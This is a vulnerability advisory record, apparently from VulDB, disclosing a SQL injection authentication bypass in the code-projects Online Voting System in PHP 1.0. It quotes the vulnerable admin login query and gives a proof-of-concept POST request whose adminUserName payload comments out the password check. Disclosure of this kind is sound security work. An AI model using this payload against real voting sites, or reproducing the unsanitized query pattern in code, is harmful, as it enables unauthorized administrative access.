| 标题 | code-projects Online Voting System in PHP 1.0 SQL Injection |
|---|
| 描述 | SQL Injection vulnerability exists in the admin authentication mechanism of Online Voting System in PHP version 1.0.
The application defines a test_input() function intended to sanitize user input, but it calls htmlspecialchars() without the ENT_QUOTES flag. By default, htmlspecialchars() only encodes double quotes ("), leaving single quotes (') unescaped. As a result, the POST parameters adminUserName and adminPassword are interpolated unsanitized into a SELECT query:
$sql= "SELECT * FROM db_evoting.tbl_admin WHERE admin_username='".$admin_username."' AND admin_password='".$admin_password."'";
$query= mysqli_query($conn, $sql);
if(mysqli_num_rows($query)==1)
{
header("location:cpanel.php");
}
An attacker can inject a SQL comment to cancel the password condition and gain access to the admin panel without valid credentials.
Proof of Concept (PoC):
Below is a POST request demonstrating authentication bypass via SQL Injection in the adminUserName parameter:
POST /authentication.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
adminUserName=admin'-- -&adminPassword=anything
|
|---|
| 来源 | ⚠️ https://gist.github.com/c4ttr4ck/ed954dc2e3da968eb460a18385146f4c |
|---|
| 用户 | c4ttr4ck (UID 75518) |
|---|
| 提交 | 2026-06-02 20時17分 (1 月前) |
|---|
| 管理 | 2026-07-03 20時31分 (1 month later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 376161 [code-projects Online Voting System 直到 0.x/1.0 Login /authentication.php test_input adminUserName/adminPassword SQL注入] |
|---|
| 积分 | 20 |
|---|